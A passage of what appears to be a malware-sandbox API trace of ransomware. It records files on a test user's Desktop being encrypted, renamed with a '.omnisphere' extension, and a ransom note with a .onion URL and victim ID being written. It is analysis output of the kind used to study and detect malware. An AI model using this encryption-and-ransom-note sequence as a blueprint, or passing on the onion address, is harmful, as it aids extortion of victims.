dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.949] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.950] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.951] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.951] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.951] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.951] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.951] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.955] CryptDestroyKey (hKey=0x16394e8) returned 1 [0163.955] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0163.955] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x15f6a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0163.955] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0163.955] GetProcessHeap () returned 0x1600000 [0163.955] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x280) returned 0x1774908 [0163.956] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\k8oacau9ahjhrkixfhlw.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\k8oacau9ahjhrkixfhlw.jpg.omnisphere")) returned 1 [0163.957] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg.omnisphere.id" [0163.957] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\k8oacau9ahjhrkixfhlw.jpg.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0163.958] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0163.959] CloseHandle (hObject=0x3bc) returned 1 [0163.959] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0163.960] CloseHandle (hObject=0x380) returned 1 [0163.960] SetEndOfFile (hFile=0x39c) returned 1 [0163.960] FlushFileBuffers (hFile=0x39c) returned 1 [0164.134] CloseHandle (hObject=0x39c) returned 1 [0164.134] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\K8oacaU9AHJhRKiXfHlw.jpg" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0164.134] GetProcessHeap () returned 0x1600000 [0164.134] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1774b90 [0164.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0164.135] GetProcessHeap () returned 0x1600000 [0164.135] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x17333d8 [0164.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x17333d8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0164.135] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0164.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0164.135] GetProcessHeap () returned 0x1600000 [0164.135] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f260 [0164.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f260, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0164.135] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0164.135] GetProcessHeap () returned 0x1600000 [0164.135] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773da8 [0164.135] PathCombineW (in: pszDest=0x1773da8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0164.135] GetProcessHeap () returned 0x1600000 [0164.135] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x176be48 [0164.135] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.136] WriteFile (in: hFile=0x39c, lpBuffer=0x176be48*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x176be48*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0164.136] CloseHandle (hObject=0x39c) returned 1 [0164.136] GetProcessHeap () returned 0x1600000 [0164.136] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1774b90 | out: hHeap=0x1600000) returned 1 [0164.136] GetProcessHeap () returned 0x1600000 [0164.136] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a3b0 [0164.136] PathCombineW (in: pszDest=0x163a3b0, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" [0164.136] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\desktop\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.136] WriteFile (in: hFile=0x39c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ebf8, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ebf8*=0x5a0, lpOverlapped=0x0) returned 1 [0164.136] CloseHandle (hObject=0x39c) returned 1 [0164.137] GetProcessHeap () returned 0x1600000 [0164.137] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a3b0 | out: hHeap=0x1600000) returned 1 [0164.137] GetProcessHeap () returned 0x1600000 [0164.137] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1773808 | out: hHeap=0x1600000) returned 1 [0164.137] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0ee94 | out: lpFindFileData=0x3e0ee94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fee9da0, ftCreationTime.dwHighDateTime=0x1d4c930, ftLastAccessTime.dwLowDateTime=0x49ca3e20, ftLastAccessTime.dwHighDateTime=0x1d4c619, ftLastWriteTime.dwLowDateTime=0x49ca3e20, ftLastWriteTime.dwHighDateTime=0x1d4c619, nFileSizeHigh=0x0, nFileSizeLow=0xf602, dwReserved0=0x0, dwReserved1=0xf5, cFileName="kEt_fovMnz89GacnJ.avi", cAlternateFileName="KET_FO~1.AVI")) returned 1 [0164.137] GetProcessHeap () returned 0x1600000 [0164.137] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6a) returned 0x1774258 [0164.137] PathCombineW (in: pszDest=0x1774258, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="kEt_fovMnz89GacnJ.avi" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi") returned="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi" [0164.137] StrStrW (lpFirst=".omnisphere", lpSrch=".avi") returned 0x0 [0164.137] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\kEt_fovMnz89GacnJ.avi" (normalized: "c:\\users\\fd1hvy\\desktop\\ket_fovmnz89gacnj.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0164.138] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x3e0ebbc | out: lpFileSize=0x3e0ebbc*=62978) returned 1 [0164.138] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0xf0de, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0164.138] ReadFile (in: hFile=0x39c, lpBuffer=0x3e0e664, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0ebac, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesRead=0x3e0ebac*=0x524, lpOverlapped=0x0) returned 1 [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.139] GetTickCount () returned 0x1168c1b [0164.140] GetTickCount () returned 0x1168c1b [0164.140] GetTickCount () returned 0x1168c1b [0164.140] GetTickCount () returned 0x1168c1b [0164.140] GetTickCount () returned 0x1168c1b [0164.140] GetTickCount () returned 0x1168c1b [0164.140] GetTickCount () returned 0x1168c1b [0164.140] GetTickCount () returned 0x1168c1b [0164.140] CryptAcquireContextW (in: phProv=0x3e0e644, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e644*=0x1668df0) returned 1 [0164.140] CryptImportKey (in: hProv=0x1668df0, pbData=0x3e0e5ac, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e650 | out: phKey=0x3e0e650*=0x1639968) returned 1 [0164.141] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x75, dwBufLen=0x80 | out: pbData=0x3e0eafc*, pdwDataLen=0x3e0e640*=0x80) returned 1 [0164.141] CryptDestroyKey (hKey=0x1639968) returned 1 [0164.141] CryptReleaseContext (hProv=0x1668df0, dwFlags=0x0) returned 1 [0164.141] CreateFileMappingW (hFile=0x39c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf602, lpName=0x0) returned 0x380 [0164.141] MapViewOfFile (hFileMappingObject=0x380, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf602) returned 0x1480000 [0164.142] CryptAcquireContextW (in: phProv=0x3e0e634, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e634*=0x1669120) returned 1 [0164.142] CryptImportKey (in: hProv=0x1669120, pbData=0x3e0e5ec, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e644 | out: phKey=0x3e0e644*=0x1639868) returned 1 [0164.142] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0e628*=0x2, dwFlags=0x0) returned 1 [0164.142] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e630*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e630*=0x10) returned 1 [0164.142] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.142] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.142] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.142] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0164.143] CryptEncrypt (in: hKey=0x1639868, 